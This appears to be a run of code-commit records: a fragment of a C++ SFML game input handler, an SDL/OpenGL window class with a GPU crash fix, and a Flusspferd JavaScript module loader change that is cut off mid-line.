InputHandler::handleEvent(sf::Event Event) {\n    \/\/ Close window : exit\n    if (Event.Type == sf::Event::Closed)\n        app->Close();\n\n    if(Event.Type == sf::Event::KeyPressed) {\n        switch(Event.Key.Code) {\n            \/\/ Escape key : exit\n            case sf::Key::Escape:\n                app->Close();\n                break;\n            \/\/ Spacebar : jump\n            case sf::Key::Space:\n                player->Jump();\n                break;\n            \/\/ F5 : regenerate terrain\n            case sf::Key::F5:\n                renderer->terrain.Regenerate();\n                break;\n            \/\/ F11 : toggle fullscreen\n            case sf::Key::F11:\n                toggleFullscreen();\n                break;\n        }\n    }\n\n    \/\/ Resize event : adjust viewport\n    if (Event.Type == sf::Event::Resized)\n        glViewport(0, 0, Event.Size.Width, Event.Size.Height);\n}\n\nfloat ElapsedTime;\nfloat mouseDeltaX, mouseDeltaY;\n\nvoid InputHandler::handleEvents() {\n    const sf::Input& Input = app->GetInput();\n    \n    \/\/ Constant movement speed\n    ElapsedTime = Clock.GetElapsedTime();\n    Clock.Reset();\n    \n    \/\/ Handle held keys\n    if (Input.IsKeyDown(sf::Key::S)) player->Forward(-ElapsedTime);\n    if (Input.IsKeyDown(sf::Key::W)) player->Forward( ElapsedTime);\n    if (Input.IsKeyDown(sf::Key::D)) player->Strafe(-ElapsedTime);\n    if (Input.IsKeyDown(sf::Key::A)) player->Strafe( ElapsedTime);\n    if (Input.IsKeyDown(sf::Key::Z)) player->Speed++;\n    if (Input.IsKeyDown(sf::Key::X)) player->Speed--;\n        \n    \/\/ Handle other events\n    sf::Event Event;\n    while (app->GetEvent(Event))\n    {\n        handleEvent(Event);\n    }\n        \n    \/\/ Rotate view based on mouse movement \n    mouseDeltaX = Input.GetMouseX() - 100; \n    mouseDeltaY = Input.GetMouseY() - 100;\n    app->SetCursorPosition(100, 100);\n    \n    if (!(mouseDeltaX == -100 && mouseDeltaY == -100) && !(mouseDeltaX == 0 && mouseDeltaY == 0)) \n        player->ChangeRotation((mouseDeltaY\/10), (mouseDeltaX\/10));\n        \n    player->DoStep(ElapsedTime);\n}\n\nvoid InputHandler::toggleFullscreen() {\n    fullscreen = !fullscreen;\n    app->Create(sf::VideoMode(800, 600, 32), \"MineCube\", (fullscreen ? sf::Style::Fullscreen : sf::Style::Resize|sf::Style::Close));\n        \n    renderer->InitGraphics();\n    app->ShowMouseCursor(false);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"window.h\"\n#include \"exception.h\"\n#include \"sprite.h\"\n\n#if MW_OPENGLES2\n#include \"shader.h\"\n#include \"matrix.h\"\n#endif \/\/ MW_OPENGLES2\n\n#include <SDL_image.h>\n\nnamespace mw {\n\n\tint Window::nbrCurrentInstance = 0;\n\n\tvoid Window::initOpenGl() {\n\t\tif (nbrCurrentInstance < 1) {\n\t\t\tSDL_GL_SetSwapInterval(1);\n\t\t\tSDL_GL_SetAttribute(SDL_GL_DOUBLEBUFFER, 1);\n#ifdef MW_OPENGLES2\n\t\t\t\/\/SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_ES);\n\t\t\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE);\n\t\t\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 2);\n\t\t\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 0);\n\t\t\tif (SDL_GL_LoadLibrary(0) != 0) {\n\t\t\t\tstd::printf(\"\\n Failed to load OpenGl ES 2\\n\");\n\t\t\t\tstd::exit(1);\n\t\t\t}\n#endif\n\t\t}\n\t}\n\n\tWindow::Window(int x, int y, int width, int height, bool resizeable, std::string title, std::string icon, bool borderless) {\n\t\t\/\/ Create an application window with the following settings:\n\t\tUint32 flags = SDL_WINDOW_SHOWN | SDL_WINDOW_OPENGL;\n\t\tif (resizeable) {\n\t\t\tflags |= SDL_WINDOW_RESIZABLE;\n\t\t}\n\t\tborderless_ = borderless;\n\t\tif (borderless) {\n\t\t\tflags |= SDL_WINDOW_BORDERLESS;\n\t\t}\n\n\t\tinitOpenGl();\n\n\t\tif (x < 0) {\n\t\t\tx = SDL_WINDOWPOS_UNDEFINED;\n\t\t}\n\t\tif (y < 0) {\n\t\t\ty = SDL_WINDOWPOS_UNDEFINED;\n\t\t}\n\n\t\twindow_ = SDL_CreateWindow(\n\t\t\ttitle.c_str(),\n\t\t\tx,\n\t\t\ty,\n\t\t\twidth,\n\t\t\theight,\n\t\t\tflags);\n\n\t\tif (window_ == 0) {\n\t\t\tthrow Exception(SDL_GetError());\n\t\t}\n\n\t\tSDL_Surface* surface = IMG_Load(icon.c_str());\n\t\tSDL_SetWindowIcon(window_, surface);\n\t\tSDL_FreeSurface(surface);\n\n\t\tquit_ = false;\n\t\ttime_ = 0;\n\t\twidth_ = width;\n\t\theight_ = height;\n\n\t\tsetupOpenGlContext();\n\t\t++nbrCurrentInstance;\n\t}\n\n\tvoid Window::setupOpenGlContext() {\n\t\tglContext_ = SDL_GL_CreateContext(window_);\n#ifdef MW_OPENGLES2\n\t\tinitGLES2();\n\t\tmw::Shader shader;\n\t\tshader.bindAttribute(SHADER_A_VEC4_POSITION);\n\t\tshader.bindAttribute(SHADER_A_VEC2_TEXCOORD);\n\t\tshader.loadAndLink(SHADER_VER, SHADER_FRAG);\n\t\tShader::setDefaultShader(shader);\n#endif \/\/MW_OPENGLES2\n\t\tif (nbrCurrentInstance < 1) {\n\t\t\tstd::printf(\"\\nGL_VERSION: %s\", reinterpret_cast<const char *>(glGetString(GL_VERSION)));\n\t\t\tstd::printf(\"\\nGL_SHADING_LANGUAGE_VERSION: %s\\n\\n\", reinterpret_cast<const char *>(glGetString(GL_SHADING_LANGUAGE_VERSION)));\n\t\t}\n\t\tglClear(GL_COLOR_BUFFER_BIT);\n\t\tcheckGlError();\n\t}\n\n\tWindow::~Window() {\n\t\tif (window_ != nullptr) {\n\t\t\t\/\/ In order to signal the the current gl context is not active.\n\t\t\t++nbrCurrentInstance;\n\n#ifdef MW_OPENGLES2\n\t\t\t\/\/ Clean up the shader.\n\t\t\tShader::setDefaultShader(mw::Shader());\n#endif \/\/MW_OPENGLES2\n\n\t\t\t\/\/ Clean up Gl context and the window.\n\t\t\tSDL_GL_DeleteContext(glContext_);\n\t\t\tSDL_DestroyWindow(window_);\n\t\t}\n\t}\n\n\tvoid Window::startLoop(Uint32 delta) {\n\t\tif (!quit_) {\n\t\t\tSDL_GL_MakeCurrent(window_, glContext_);\n\t\t}\n\t\twhile (!quit_) {\n\t\t\tSDL_Event eventSDL;\n\t\t\twhile (SDL_PollEvent(&eventSDL)) {\n\t\t\t\teventUpdate(eventSDL);\n\t\t\t}\n\n\t\t\tUint32 currentTime = SDL_GetTicks();\n\t\t\tUint32 deltaTime = currentTime - time_;\n\t\t\tif (deltaTime >= delta) {\n\t\t\t\t\/\/ Only update the screen at choosen intervall.\n\t\t\t\t\/\/ Solve the problem where the SDL_GetTicks is imprecise \n\t\t\t\t\/\/ under some delta on some plattforms.\n\t\t\t\ttime_ = currentTime;\n\t\t\t\tupdate(deltaTime);\n\t\t\t}\n\n\t\t\tSDL_GL_SwapWindow(window_);\n\t\t}\n\t}\n\n\tSDL_Window* Window::getSdlWindow() const {\n\t\treturn window_;\n\t}\n\n\tvoid Window::setFullScreen(bool fullScreen) {\n\t\tif (isFullScreen()) {\n\t\t\tSDL_SetWindowFullscreen(window_, 0);\n\t\t\tSDL_SetWindowSize(window_, width_, height_);\n\t\t\tif (borderless_) {\n\t\t\t\tSDL_SetWindowBordered(window_, SDL_bool::SDL_FALSE);\n\t\t\t}\n\t\t} else {\n\t\t\tSDL_GetWindowSize(window_, &width_, &height_);\n\t\t\tSDL_SetWindowFullscreen(window_, SDL_WINDOW_FULLSCREEN_DESKTOP);\n\t\t}\n\t}\n\n\tbool Window::isFullScreen() const {\n\t\treturn (SDL_GetWindowFlags(window_) & SDL_WINDOW_FULLSCREEN_DESKTOP) > 0;\n\t}\n\n\tint Window::getWidth() const {\n\t\tint w, h;\n\t\tSDL_GetWindowSize(window_, &w, &h);\n\t\treturn w;\n\t}\n\n\tint Window::getHeight() const {\n\t\tint w, h;\n\t\tSDL_GetWindowSize(window_, &w, &h);\n\t\treturn h;\n\t}\n\n\tvoid Window::getSize(int& width, int& height) {\n\t\tSDL_GetWindowSize(window_, &width, &height);\n\t}\n\n\tvoid Window::quit() {\n\t\tquit_ = true;\n\t}\n\n\tUint32  Window::getId() const {\n\t\treturn SDL_GetWindowID(window_);\n\t}\n\n\tvoid Window::update(Uint32 deltaTime) {\n\t}\n\n\tvoid Window::eventUpdate(const SDL_Event& windowEvent) {\n\t}\n\n} \/\/ Namespace mw.\n<commit_msg>BUg fix! Crashes on nvidia cards.<commit_after>#include \"window.h\"\n#include \"exception.h\"\n#include \"sprite.h\"\n\n#if MW_OPENGLES2\n#include \"shader.h\"\n#include \"matrix.h\"\n#endif \/\/ MW_OPENGLES2\n\n#include <SDL_image.h>\n\nnamespace mw {\n\n\tint Window::nbrCurrentInstance = 0;\n\n\tvoid Window::initOpenGl() {\n\t\tif (nbrCurrentInstance < 1) {\n\t\t\tSDL_GL_SetSwapInterval(1);\n\t\t\tSDL_GL_SetAttribute(SDL_GL_DOUBLEBUFFER, 1);\n#ifdef MW_OPENGLES2\n\t\t\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_ES);\n\t\t\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 2);\n\t\t\tSDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 0);\n\t\t\tif (SDL_GL_LoadLibrary(0) != 0) {\n\t\t\t\tstd::printf(\"\\n Failed to load OpenGl ES 2\\n\");\n\t\t\t\tstd::exit(1);\n\t\t\t}\n#endif\n\t\t}\n\t}\n\n\tWindow::Window(int x, int y, int width, int height, bool resizeable, std::string title, std::string icon, bool borderless) {\n\t\t\/\/ Create an application window with the following settings:\n\t\tUint32 flags = SDL_WINDOW_SHOWN | SDL_WINDOW_OPENGL;\n\t\tif (resizeable) {\n\t\t\tflags |= SDL_WINDOW_RESIZABLE;\n\t\t}\n\t\tborderless_ = borderless;\n\t\tif (borderless) {\n\t\t\tflags |= SDL_WINDOW_BORDERLESS;\n\t\t}\n\n\t\tinitOpenGl();\n\n\t\tif (x < 0) {\n\t\t\tx = SDL_WINDOWPOS_UNDEFINED;\n\t\t}\n\t\tif (y < 0) {\n\t\t\ty = SDL_WINDOWPOS_UNDEFINED;\n\t\t}\n\n\t\twindow_ = SDL_CreateWindow(\n\t\t\ttitle.c_str(),\n\t\t\tx,\n\t\t\ty,\n\t\t\twidth,\n\t\t\theight,\n\t\t\tflags);\n\n\t\tif (window_ == 0) {\n\t\t\tthrow Exception(SDL_GetError());\n\t\t}\n\n\t\tSDL_Surface* surface = IMG_Load(icon.c_str());\n\t\tSDL_SetWindowIcon(window_, surface);\n\t\tSDL_FreeSurface(surface);\n\n\t\tquit_ = false;\n\t\ttime_ = 0;\n\t\twidth_ = width;\n\t\theight_ = height;\n\n\t\tsetupOpenGlContext();\n\t\t++nbrCurrentInstance;\n\t}\n\n\tvoid Window::setupOpenGlContext() {\n\t\tglContext_ = SDL_GL_CreateContext(window_);\n#ifdef MW_OPENGLES2\n\t\tinitGLES2();\n\t\tmw::Shader shader;\n\t\tshader.bindAttribute(SHADER_A_VEC4_POSITION);\n\t\tshader.bindAttribute(SHADER_A_VEC2_TEXCOORD);\n\t\tshader.loadAndLink(SHADER_VER, SHADER_FRAG);\n\t\tShader::setDefaultShader(shader);\n#endif \/\/MW_OPENGLES2\n\t\tif (nbrCurrentInstance < 1) {\n\t\t\tstd::printf(\"\\nGL_VERSION: %s\", reinterpret_cast<const char *>(glGetString(GL_VERSION)));\n\t\t\tstd::printf(\"\\nGL_SHADING_LANGUAGE_VERSION: %s\\n\\n\", reinterpret_cast<const char *>(glGetString(GL_SHADING_LANGUAGE_VERSION)));\n\t\t}\n\t\tglClear(GL_COLOR_BUFFER_BIT);\n\t\tcheckGlError();\n\t}\n\n\tWindow::~Window() {\n\t\tif (window_ != nullptr) {\n\t\t\t\/\/ In order to signal the the current gl context is not active.\n\t\t\t++nbrCurrentInstance;\n\n#ifdef MW_OPENGLES2\n\t\t\t\/\/ Clean up the shader.\n\t\t\tShader::setDefaultShader(mw::Shader());\n#endif \/\/MW_OPENGLES2\n\n\t\t\t\/\/ Clean up Gl context and the window.\n\t\t\tSDL_GL_DeleteContext(glContext_);\n\t\t\tSDL_DestroyWindow(window_);\n\t\t}\n\t}\n\n\tvoid Window::startLoop(Uint32 delta) {\n\t\tif (!quit_) {\n\t\t\tSDL_GL_MakeCurrent(window_, glContext_);\n\t\t}\n\t\twhile (!quit_) {\n\t\t\tSDL_Event eventSDL;\n\t\t\twhile (SDL_PollEvent(&eventSDL)) {\n\t\t\t\teventUpdate(eventSDL);\n\t\t\t}\n\n\t\t\tUint32 currentTime = SDL_GetTicks();\n\t\t\tUint32 deltaTime = currentTime - time_;\n\t\t\tif (deltaTime >= delta) {\n\t\t\t\t\/\/ Only update the screen at choosen intervall.\n\t\t\t\t\/\/ Solve the problem where the SDL_GetTicks is imprecise \n\t\t\t\t\/\/ under some delta on some plattforms.\n\t\t\t\ttime_ = currentTime;\n\t\t\t\tupdate(deltaTime);\n\t\t\t}\n\n\t\t\tSDL_GL_SwapWindow(window_);\n\t\t}\n\t}\n\n\tSDL_Window* Window::getSdlWindow() const {\n\t\treturn window_;\n\t}\n\n\tvoid Window::setFullScreen(bool fullScreen) {\n\t\tif (isFullScreen()) {\n\t\t\tSDL_SetWindowFullscreen(window_, 0);\n\t\t\tSDL_SetWindowSize(window_, width_, height_);\n\t\t\tif (borderless_) {\n\t\t\t\tSDL_SetWindowBordered(window_, SDL_bool::SDL_FALSE);\n\t\t\t}\n\t\t} else {\n\t\t\tSDL_GetWindowSize(window_, &width_, &height_);\n\t\t\tSDL_SetWindowFullscreen(window_, SDL_WINDOW_FULLSCREEN_DESKTOP);\n\t\t}\n\t}\n\n\tbool Window::isFullScreen() const {\n\t\treturn (SDL_GetWindowFlags(window_) & SDL_WINDOW_FULLSCREEN_DESKTOP) > 0;\n\t}\n\n\tint Window::getWidth() const {\n\t\tint w, h;\n\t\tSDL_GetWindowSize(window_, &w, &h);\n\t\treturn w;\n\t}\n\n\tint Window::getHeight() const {\n\t\tint w, h;\n\t\tSDL_GetWindowSize(window_, &w, &h);\n\t\treturn h;\n\t}\n\n\tvoid Window::getSize(int& width, int& height) {\n\t\tSDL_GetWindowSize(window_, &width, &height);\n\t}\n\n\tvoid Window::quit() {\n\t\tquit_ = true;\n\t}\n\n\tUint32  Window::getId() const {\n\t\treturn SDL_GetWindowID(window_);\n\t}\n\n\tvoid Window::update(Uint32 deltaTime) {\n\t}\n\n\tvoid Window::eventUpdate(const SDL_Event& windowEvent) {\n\t}\n\n} \/\/ Namespace mw.\n<|endoftext|>"}
{"text":"<commit_before>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Aristid Breitkreuz, Ash Berlin, Ruediger Sonderfeld\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include \"flusspferd\/modules.hpp\"\n#include \"flusspferd\/create.hpp\"\n#include \"flusspferd\/string.hpp\"\n#include \"flusspferd\/tracer.hpp\"\n#include \"flusspferd\/security.hpp\"\n#include \"flusspferd\/evaluate.hpp\"\n#include \"flusspferd\/value_io.hpp\"\n#include <boost\/filesystem.hpp>\n#include <boost\/unordered_map.hpp>\n#include <boost\/algorithm\/string\/split.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <boost\/spirit\/home\/phoenix\/core.hpp>\n#include <boost\/spirit\/home\/phoenix\/operator.hpp>\n#include <boost\/utility.hpp>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <sstream>\n#include <list>\n#ifdef WIN32\n#include <windows.h>\n#else\n#include <dlfcn.h>\n#endif\n\n#define DIRSEP1 '\/'\n#define DIRSEP2 '\\0'\n#define SHLIBPREFIX \"lib\"\n\nusing namespace flusspferd;\n\nnamespace algo = boost::algorithm;\nnamespace phoenix = boost::phoenix;\nnamespace args = phoenix::arg_names;\n\nstatic void require(call_context &);\n\nvoid flusspferd::load_require_function(object container) {\n  function imp = create_native_function(container, \"require\", &require, 1);\n\n  imp.define_property(\"preload\", create_object(), permanent_property);\n  imp.define_property(\"paths\", create_array(), permanent_property);\n  imp.define_property(\"alias\", create_object(), permanent_property);\n  imp.define_property(\"module_cache\", create_object(),\n                      permanent_property);\n  imp.define_property(\"id\", flusspferd::string(),\n                      permanent_property);\n}\n\n\/\/ Take 'foo\/bar' as a flusspferd::string, check no path sep in it, and\n\/\/ return '\/foo\/bar.js' or '\/foo\/libbar.so', etc. as a std::string\nstatic std::string process_name(\n    std::string name,\n    std::string module,\n    std::string const &prefix,\n    std::string const &suffix,\n    char out_dirsep)\n{\n  if ((DIRSEP1 != '\/' && name.find(DIRSEP1) != std::string::npos) &&\n      (DIRSEP2 != '\/' && DIRSEP2 && name.find(DIRSEP2) != std::string::npos))\n  {\n    throw exception(\"Invalid module name\");\n  }\n\n  typedef std::list<std::string> container;\n\n  module.erase(\n    std::find(module.rbegin(), module.rend(), '\/').base(),\n    module.end());;\n\n  if (algo::starts_with(name, \".\/\") || algo::starts_with(name, \"..\/\"))\n    name = module + \"\/\" + name;\n\n  container elements;\n  algo::split(elements, name, args::arg1 == '\/', algo::token_compress_on);\n\n  if (elements.empty())\n    throw exception(\"Invalid module name\");\n\n  elements.remove(\".\");\n\n  for (container::iterator it = ++elements.begin(); it != elements.end();) {\n    if (*it == \"..\" && it != elements.begin())\n      it = elements.erase(boost::prior(it), boost::next(it));\n    else\n      ++it;\n  }\n  std::string result;\n\n  container::iterator last = boost::prior(elements.end());\n\n  for (container::iterator it = elements.begin(); it != last; ++it) {\n    result.append(*it);\n    result += out_dirsep;\n  }\n\n  result += prefix;\n  result += *last;\n  result += suffix;\n\n  return result;\n}\n\nvoid require(call_context &x) {\n  security &sec = security::get();\n\n  value paths_v = x.function.get_property_object(\"paths\");\n  if (!paths_v.is_object() || paths_v.is_null())\n    throw exception(\"Unable to get search paths or it is not an object\");\n\n  array paths = paths_v.get_object();\n  size_t len = paths.length();\n\n  bool found = false;\n\n  std::string name = flusspferd::string(x.arg[0]).to_string();\n\n  std::string module =\n      x.function.get_property(\"id\").to_std_string();\n\n  std::string key = process_name(name, module, \"\", \"\", '\/');\n\n  object module_cache;\n\n  try {\n    x.function.set_property(\"id\", flusspferd::string(key));\n\n    value alias_v = x.function.get_property(\"alias\");\n\n    if (alias_v.is_object() && !alias_v.is_null()) {\n      object alias = alias_v.get_object();\n      if (alias.has_own_property(key)) {\n        name = alias.get_property(key).to_std_string();\n        key = process_name(name, \"\", \"\", \"\", '\/');\n      }\n    }\n\n    module_cache = x.function.get_property_object(\"module_cache\");\n    if (module_cache.is_null())\n      throw exception(\"No valid module cache\");\n\n    if (module_cache.has_own_property(key)) {\n      x.result = module_cache.get_property(key);\n      return;\n    }\n\n    object classes_object = flusspferd::global().prototype();\n    object ctx = flusspferd::create_object(classes_object);\n    ctx.set_parent(classes_object);\n\n    object exports = flusspferd::create_object();\n    ctx.define_property(\n      \"exports\",\n      exports,\n      read_only_property | permanent_property);\n\n    module_cache.set_property(key, exports);\n    x.result = exports;\n\n    value preload = x.function.get_property(\"preload\");\n\n    if (preload.is_object() && !preload.is_null()) {\n      value loader = preload.get_object().get_property(key);\n      if (loader.is_object()) {\n        if (!loader.is_null()) {\n          local_root_scope scope;\n          object o = loader.get_object();\n          o.call(ctx);\n        }\n        return;\n      }\n    }\n\n    std::string so_name, js_name;\n    so_name = \"\/\" + process_name(key, \"\", SHLIBPREFIX, FLUSSPFERD_MODULE_SUFFIX, DIRSEP1);\n    js_name = \"\/\" + process_name(key, \"\", \"\", \".js\", DIRSEP1);\n\n    for (size_t i = 0; i < len; i++) {\n      std::string path = paths.get_element(i).to_std_string();\n      std::string fullpath = path + so_name;\n\n      if (sec.check_path(fullpath, security::READ) &&\n          boost::filesystem::exists(fullpath))\n      {\n#ifdef WIN32\n        HMODULE module = LoadLibrary(fullpath.c_str());\n\n        if (!module)\n          throw exception((\"Unable to load library '\" +fullpath+\"'\").c_str());\n\n        FARPROC symbol = GetProcAddress(module, \"flusspferd_load\");\n\n        if (!symbol)\n          throw exception((\"Unable to load library '\" + fullpath + \"': symbol \"\n                          \"not found\").c_str());\n#else\n        \/\/ Load the .so\n        void *module = dlopen(fullpath.c_str(), RTLD_LAZY);\n        if (!module) {\n          std::stringstream ss;\n          ss << \"Unable to load library '\" << fullpath.c_str()\n             << \"': \" << dlerror();\n          throw exception(ss.str().c_str());\n        }\n\n        dlerror(); \/\/ clear error state\n\n        void *symbol = dlsym(module, \"flusspferd_load\");\n\n        char const *const error_string = dlerror();\n\n        if (error_string) {\n          std::stringstream ss;\n          ss << \"Unable to load library '\" << fullpath.c_str()\n             << \"': \" << error_string;\n          throw exception(ss.str().c_str());\n        }\n#endif\n\n        flusspferd_load_t func = *(flusspferd_load_t*) &symbol;\n\n        func(exports, ctx);\n\n        \/\/ The exports reference might have been changed.\n        module_cache.set_property(key, exports);\n        x.result = exports;\n\n        found = true;\n        break;\n      }\n    }\n\n    for (size_t i = 0; i < len; i++) {\n      std::string path = paths.get_element(i).to_std_string();\n      std::string fullpath = path + js_name;\n\n      if (sec.check_path(fullpath, security::READ) &&\n          boost::filesystem::exists(fullpath))\n      {\n        value val = flusspferd::execute(fullpath.c_str(), ctx);\n        found = true;\n        break;\n      }\n    }\n\n    if (!found) {\n      std::stringstream ss;\n      ss << \"Unable to find library '\" << key << \"' in [\" << paths_v << \"]\";\n      throw exception(ss.str().c_str());\n    }\n  } catch (...) {\n    if (!module_cache.is_null())\n      module_cache.delete_property(key);\n\n    x.function.set_property(\"id\", flusspferd::string(module));\n    throw;\n  }\n\n  x.function.set_property(\"id\", flusspferd::string(module));\n}\n\n<commit_msg>First (hacky) draft at sorting out JS module scope problem<commit_after>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Aristid Breitkreuz, Ash Berlin, Ruediger Sonderfeld\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#include \"flusspferd\/modules.hpp\"\n#include \"flusspferd\/create.hpp\"\n#include \"flusspferd\/string.hpp\"\n#include \"flusspferd\/tracer.hpp\"\n#include \"flusspferd\/security.hpp\"\n#include \"flusspferd\/evaluate.hpp\"\n#include \"flusspferd\/value_io.hpp\"\n#include <boost\/filesystem.hpp>\n#include <boost\/unordered_map.hpp>\n#include <boost\/algorithm\/string\/split.hpp>\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <boost\/spirit\/home\/phoenix\/core.hpp>\n#include <boost\/spirit\/home\/phoenix\/operator.hpp>\n#include <boost\/utility.hpp>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <sstream>\n#include <cerrno>\n#include <list>\n#ifdef WIN32\n#include <windows.h>\n#else\n#include <dlfcn.h>\n#endif\n\n#define DIRSEP1 '\/'\n#define DIRSEP2 '\\0'\n#define SHLIBPREFIX \"lib\"\n\nusing namespace flusspferd;\n\nnamespace algo = boost::algorithm;\nnamespace phoenix = boost::phoenix;\nnamespace args = phoenix::arg_names;\n\nstatic void require(call_context &);\n\nvoid flusspferd::load_require_function(object container) {\n  function imp = create_native_function(container, \"require\", &require, 1);\n\n  imp.define_property(\"preload\", create_object(), permanent_property);\n  imp.define_property(\"paths\", create_array(), permanent_property);\n  imp.define_property(\"alias\", create_object(), permanent_property);\n  imp.define_property(\"module_cache\", create_object(),\n                      permanent_property);\n  imp.define_property(\"id\", flusspferd::string(),\n                      permanent_property);\n}\n\n\/\/ Take 'foo\/bar' as a flusspferd::string, check no path sep in it, and\n\/\/ return '\/foo\/bar.js' or '\/foo\/libbar.so', etc. as a std::string\nstatic std::string process_name(\n    std::string name,\n    std::string module,\n    std::string const &prefix,\n    std::string const &suffix,\n    char out_dirsep)\n{\n  if ((DIRSEP1 != '\/' && name.find(DIRSEP1) != std::string::npos) &&\n      (DIRSEP2 != '\/' && DIRSEP2 && name.find(DIRSEP2) != std::string::npos))\n  {\n    throw exception(\"Invalid module name\");\n  }\n\n  typedef std::list<std::string> container;\n\n  module.erase(\n    std::find(module.rbegin(), module.rend(), '\/').base(),\n    module.end());;\n\n  if (algo::starts_with(name, \".\/\") || algo::starts_with(name, \"..\/\"))\n    name = module + \"\/\" + name;\n\n  container elements;\n  algo::split(elements, name, args::arg1 == '\/', algo::token_compress_on);\n\n  if (elements.empty())\n    throw exception(\"Invalid module name\");\n\n  elements.remove(\".\");\n\n  for (container::iterator it = ++elements.begin(); it != elements.end();) {\n    if (*it == \"..\" && it != elements.begin())\n      it = elements.erase(boost::prior(it), boost::next(it));\n    else\n      ++it;\n  }\n  std::string result;\n\n  container::iterator last = boost::prior(elements.end());\n\n  for (container::iterator it = elements.begin(); it != last; ++it) {\n    result.append(*it);\n    result += out_dirsep;\n  }\n\n  result += prefix;\n  result += *last;\n  result += suffix;\n\n  return result;\n}\n\nvoid require_js(object require, char const *filename, object exports) {\n  std::ifstream f(filename);\n  std::stringstream ss;\n  std::string l;\n  if (!f) {\n    unsigned int err = errno;\n    ss << \"io.File: Could not open file '\" << filename << \"' - \" << err;\n    throw exception(ss.str().c_str());\n  }\n\n  ss << \"function(exports,require,module) { \";\n\n  while( getline(f, l) ) {\n    ss << l << '\\n';\n  }\n  ss << \";}\";\n\n  f.close();\n\n  std::string js = ss.str();\n  printf(\"%s\\n\", js.c_str());\n\n  object module = evaluate(js.c_str(), js.size(), filename, 1ul).to_object();\n\n  \/\/ TODO: Create a new require object so we have a different ID\n  module.call(module, exports, require);\n}\n\nvoid require(call_context &x) {\n  security &sec = security::get();\n\n  value paths_v = x.function.get_property_object(\"paths\");\n  if (!paths_v.is_object() || paths_v.is_null())\n    throw exception(\"Unable to get search paths or it is not an object\");\n\n  array paths = paths_v.get_object();\n  size_t len = paths.length();\n\n  bool found = false;\n\n  std::string name = flusspferd::string(x.arg[0]).to_string();\n\n  std::string module =\n      x.function.get_property(\"id\").to_std_string();\n\n  std::string key = process_name(name, module, \"\", \"\", '\/');\n\n  object module_cache;\n\n  try {\n    x.function.set_property(\"id\", flusspferd::string(key));\n\n    value alias_v = x.function.get_property(\"alias\");\n\n    if (alias_v.is_object() && !alias_v.is_null()) {\n      object alias = alias_v.get_object();\n      if (alias.has_own_property(key)) {\n        name = alias.get_property(key).to_std_string();\n        key = process_name(name, \"\", \"\", \"\", '\/');\n      }\n    }\n\n    module_cache = x.function.get_property_object(\"module_cache\");\n    if (module_cache.is_null())\n      throw exception(\"No valid module cache\");\n\n    if (module_cache.has_own_property(key)) {\n      x.result = module_cache.get_property(key);\n      return;\n    }\n\n    object classes_object = flusspferd::global().prototype();\n    object ctx = flusspferd::create_object(classes_object);\n    ctx.set_parent(classes_object);\n\n    object exports = flusspferd::create_object();\n    ctx.define_property(\n      \"exports\",\n      exports,\n      read_only_property | permanent_property);\n\n    module_cache.set_property(key, exports);\n    x.result = exports;\n\n    value preload = x.function.get_property(\"preload\");\n\n    if (preload.is_object() && !preload.is_null()) {\n      value loader = preload.get_object().get_property(key);\n      if (loader.is_object()) {\n        if (!loader.is_null()) {\n          local_root_scope scope;\n          object o = loader.get_object();\n          o.call(ctx);\n        }\n        return;\n      }\n    }\n\n    std::string so_name, js_name;\n    so_name = \"\/\" + process_name(key, \"\", SHLIBPREFIX, 